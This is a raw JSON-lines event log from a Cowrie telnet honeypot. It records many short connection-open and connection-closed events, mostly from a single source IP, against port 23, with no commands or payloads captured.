{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eeb6354610d","protocol":"telnet","message":"New connection: 198.147.26.226:55636 (159.203.135.109:23) [session: 6eeb6354610d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:43.047853Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb1073b65cf","protocol":"telnet","message":"New connection: 69.73.180.12:38932 (10.17.0.5:23) [session: 0cb1073b65cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:43.066677Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44430,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef7d3d0c864","protocol":"telnet","message":"New connection: 69.73.180.12:44430 (10.17.0.5:23) [session: 9ef7d3d0c864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:44.525669Z"}
{"eventid":"cowrie.session.closed","duration":30.86881184577942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:45.070466Z","src_ip":"69.73.180.12","session":"b30307676104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46418,"dst_ip":"10.17.0.5","dst_port":23,"session":"060eec52a55c","protocol":"telnet","message":"New connection: 69.73.180.12:46418 (10.17.0.5:23) [session: 060eec52a55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:45.101501Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46732,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fae37df8198","protocol":"telnet","message":"New connection: 69.73.180.12:46732 (10.17.0.5:23) [session: 2fae37df8198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:45.154792Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":57862,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6c408d2c31","protocol":"telnet","message":"New connection: 72.9.146.62:57862 (159.203.135.109:23) [session: ff6c408d2c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:45.819410Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":50598,"dst_ip":"10.17.0.5","dst_port":23,"session":"6947adb9574c","protocol":"telnet","message":"New connection: 69.73.180.12:50598 (10.17.0.5:23) [session: 6947adb9574c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:46.164770Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ca5f9782be","protocol":"telnet","message":"New connection: 72.9.146.62:58646 (159.203.135.109:23) [session: 77ca5f9782be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:46.178217Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":51626,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b053e54118","protocol":"telnet","message":"New connection: 69.73.180.12:51626 (10.17.0.5:23) [session: 07b053e54118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:46.429624Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54524,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de821619f68","protocol":"telnet","message":"New connection: 69.73.180.12:54524 (10.17.0.5:23) [session: 5de821619f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:47.263220Z"}
{"eventid":"cowrie.session.closed","duration":30.95868992805481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:48.060231Z","src_ip":"69.73.180.12","session":"52997583939a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947685956954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:48.067454Z","src_ip":"69.73.180.12","session":"d80e908aba19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":57374,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e77d21f5b3","protocol":"telnet","message":"New connection: 69.73.180.12:57374 (10.17.0.5:23) [session: 81e77d21f5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:48.072793Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":57672,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b80cf34aed","protocol":"telnet","message":"New connection: 69.73.180.12:57672 (10.17.0.5:23) [session: 92b80cf34aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:48.130025Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59104,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1e09e03b2a","protocol":"telnet","message":"New connection: 69.73.180.12:59104 (10.17.0.5:23) [session: 9e1e09e03b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:48.470874Z"}
{"eventid":"cowrie.session.closed","duration":30.81231427192688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:49.086670Z","src_ip":"69.73.180.12","session":"f7d981f82ac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34650,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ec494b2960","protocol":"telnet","message":"New connection: 69.73.180.12:34650 (10.17.0.5:23) [session: 38ec494b2960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:49.456671Z"}
{"eventid":"cowrie.session.closed","duration":30.879560470581055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:50.041605Z","src_ip":"69.73.180.12","session":"a07d00928b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039491653442383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:50.105363Z","src_ip":"69.73.180.12","session":"9839ed295b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8f285aeefe","protocol":"telnet","message":"New connection: 69.73.180.12:37490 (10.17.0.5:23) [session: 5c8f285aeefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:50.191874Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":39132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8af575d880d","protocol":"telnet","message":"New connection: 69.73.180.12:39132 (10.17.0.5:23) [session: d8af575d880d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:50.615310Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":40610,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9b08c796fe","protocol":"telnet","message":"New connection: 69.73.180.12:40610 (10.17.0.5:23) [session: 6b9b08c796fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:51.075615Z"}
{"eventid":"cowrie.session.closed","duration":31.020653247833252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:51.098340Z","src_ip":"69.73.180.12","session":"65656bd657f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895196437835693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:52.025621Z","src_ip":"69.73.180.12","session":"c32998683027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934962034225464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:52.089682Z","src_ip":"69.73.180.12","session":"d2a0870872bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886496543884277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:53.051713Z","src_ip":"69.73.180.12","session":"7dc2d03a6663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52234,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f051b3251b","protocol":"telnet","message":"New connection: 69.73.180.12:52234 (10.17.0.5:23) [session: f9f051b3251b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:54.102859Z"}
{"eventid":"cowrie.session.closed","duration":31.125673532485962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:54.195318Z","src_ip":"69.73.180.12","session":"a17240ff3a64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":32790,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e265ae3bc8","protocol":"telnet","message":"New connection: 176.123.5.144:32790 (159.203.135.109:23) [session: 91e265ae3bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:55.391885Z"}
{"eventid":"cowrie.session.closed","duration":120.00203108787537,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:55.617872Z","src_ip":"193.239.26.142","session":"71792a5ee0eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2064425945282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.090231Z","src_ip":"176.123.5.144","session":"373b3f3ffbc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.151469230651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.094202Z","src_ip":"69.73.180.12","session":"2227757b3188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":56416,"dst_ip":"10.17.0.5","dst_port":23,"session":"708831e94119","protocol":"telnet","message":"New connection: 193.239.26.142:56416 (10.17.0.5:23) [session: 708831e94119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.099461Z"}
{"eventid":"cowrie.session.closed","duration":31.00562882423401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.117745Z","src_ip":"69.73.180.12","session":"046fd9e47b09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451475858688354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.123244Z","src_ip":"69.73.180.12","session":"b14029dfd632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00108337402344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:56.510653Z","src_ip":"193.239.26.142","session":"09edddaa0009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258273601531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:57.019053Z","src_ip":"69.73.180.12","session":"8fbe2b64910e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"942f77129db4","protocol":"telnet","message":"New connection: 193.239.26.142:56488 (10.17.0.5:23) [session: 942f77129db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:57.052933Z"}
{"eventid":"cowrie.session.closed","duration":31.11519193649292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:57.139311Z","src_ip":"69.73.180.12","session":"c3c9fd24507c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28160858154297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:57.356446Z","src_ip":"69.73.180.12","session":"23ea28fd61c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888150930404663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:58.098738Z","src_ip":"69.73.180.12","session":"45adb3fcc938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922236442565918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:59.111106Z","src_ip":"69.73.180.12","session":"b1d223d7ee66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054730892181396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:00.154749Z","src_ip":"69.73.180.12","session":"9899ccdb2854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54240,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f117dfb2fda","protocol":"telnet","message":"New connection: 69.73.180.12:54240 (10.17.0.5:23) [session: 6f117dfb2fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:02.281638Z"}
{"eventid":"cowrie.session.closed","duration":30.865593671798706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:03.049197Z","src_ip":"69.73.180.12","session":"ea3a16a7b88a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04809260368347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:05.124422Z","src_ip":"69.73.180.12","session":"aa5d7b737fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36486,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a30bf4126e5","protocol":"telnet","message":"New connection: 69.73.180.12:36486 (10.17.0.5:23) [session: 9a30bf4126e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:05.139111Z"}
{"eventid":"cowrie.session.closed","duration":30.299129009246826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:05.143810Z","src_ip":"69.73.180.12","session":"b426d5c96cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.17.187","src_port":39550,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd209f96c61","protocol":"telnet","message":"New connection: 67.231.17.187:39550 (159.203.135.109:23) [session: afd209f96c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:05.235595Z"}
{"eventid":"cowrie.session.closed","duration":30.538925409317017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:05.245212Z","src_ip":"69.73.180.12","session":"426488134547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92299747467041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:06.065189Z","src_ip":"69.73.180.12","session":"8cde410baca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92334222793579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:06.069420Z","src_ip":"69.73.180.12","session":"c7e9b32a9a1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880296230316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:06.082323Z","src_ip":"69.73.180.12","session":"1bcb33fa0e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942699909210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:06.742193Z","src_ip":"72.9.146.62","session":"6a2dd46dd27c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179245710372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:07.022888Z","src_ip":"69.73.180.12","session":"ce213df833be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96711492538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:07.064846Z","src_ip":"69.73.180.12","session":"f123661598eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976335525512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:07.096912Z","src_ip":"69.73.180.12","session":"efd477bcc87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200016736984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:07.257821Z","src_ip":"69.73.180.12","session":"258f7259de33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970114707946777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:08.058823Z","src_ip":"69.73.180.12","session":"d9a067824f10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070082902908325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:08.152582Z","src_ip":"69.73.180.12","session":"f16a409fc9ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921438455581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:09.157455Z","src_ip":"176.123.5.144","session":"a3beb9bbdd30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52656,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a9791bd7d9","protocol":"telnet","message":"New connection: 69.73.180.12:52656 (10.17.0.5:23) [session: d2a9791bd7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:09.162921Z"}
{"eventid":"cowrie.session.closed","duration":31.164280652999878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:09.957546Z","src_ip":"72.9.146.62","session":"08a33e55b3f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52406,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3692daaecb","protocol":"telnet","message":"New connection: 69.73.180.12:52406 (10.17.0.5:23) [session: 0a3692daaecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:10.083807Z"}
{"eventid":"cowrie.session.closed","duration":0.006673336029052734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:10.090368Z","src_ip":"69.73.180.12","session":"0a3692daaecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":60112,"dst_ip":"10.17.0.5","dst_port":23,"session":"45477287f680","protocol":"telnet","message":"New connection: 69.73.180.12:60112 (10.17.0.5:23) [session: 45477287f680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:11.109495Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":60454,"dst_ip":"10.17.0.5","dst_port":23,"session":"606563a15d5b","protocol":"telnet","message":"New connection: 69.73.180.12:60454 (10.17.0.5:23) [session: 606563a15d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:11.149937Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":60576,"dst_ip":"10.17.0.5","dst_port":23,"session":"581638658ae6","protocol":"telnet","message":"New connection: 69.73.180.12:60576 (10.17.0.5:23) [session: 581638658ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:11.170441Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"77abadeb431e","protocol":"telnet","message":"New connection: 69.73.180.12:35924 (10.17.0.5:23) [session: 77abadeb431e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:12.066952Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38294,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f1243b996c","protocol":"telnet","message":"New connection: 69.73.180.12:38294 (10.17.0.5:23) [session: b0f1243b996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:12.591620Z"}
{"eventid":"cowrie.session.closed","duration":31.004951238632202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:13.114720Z","src_ip":"69.73.180.12","session":"3ceb14edec07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"742f064dc40b","protocol":"telnet","message":"New connection: 69.73.180.12:40218 (10.17.0.5:23) [session: 742f064dc40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:13.122333Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a948851a6b4f","protocol":"telnet","message":"New connection: 69.73.180.12:36368 (10.17.0.5:23) [session: a948851a6b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:13.142937Z"}
{"eventid":"cowrie.session.closed","duration":30.993903160095215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:14.041672Z","src_ip":"198.147.26.226","session":"6eeb6354610d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180910348892212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:14.121848Z","src_ip":"66.116.235.117","session":"fcdb4fcba0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108124017715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:14.174692Z","src_ip":"69.73.180.12","session":"0cb1073b65cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565516710281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:15.091062Z","src_ip":"69.73.180.12","session":"9ef7d3d0c864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89130163192749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:16.045975Z","src_ip":"69.73.180.12","session":"2fae37df8198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98719882965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:16.088586Z","src_ip":"69.73.180.12","session":"060eec52a55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906025648117065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:16.725299Z","src_ip":"72.9.146.62","session":"ff6c408d2c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563891410827637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:16.741990Z","src_ip":"72.9.146.62","session":"77ca5f9782be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52390,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c43ac99eaa","protocol":"telnet","message":"New connection: 69.73.180.12:52390 (10.17.0.5:23) [session: 83c43ac99eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:17.080269Z"}
{"eventid":"cowrie.session.closed","duration":30.929728269577026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:17.094326Z","src_ip":"69.73.180.12","session":"6947adb9574c","protocol":"telnet"}
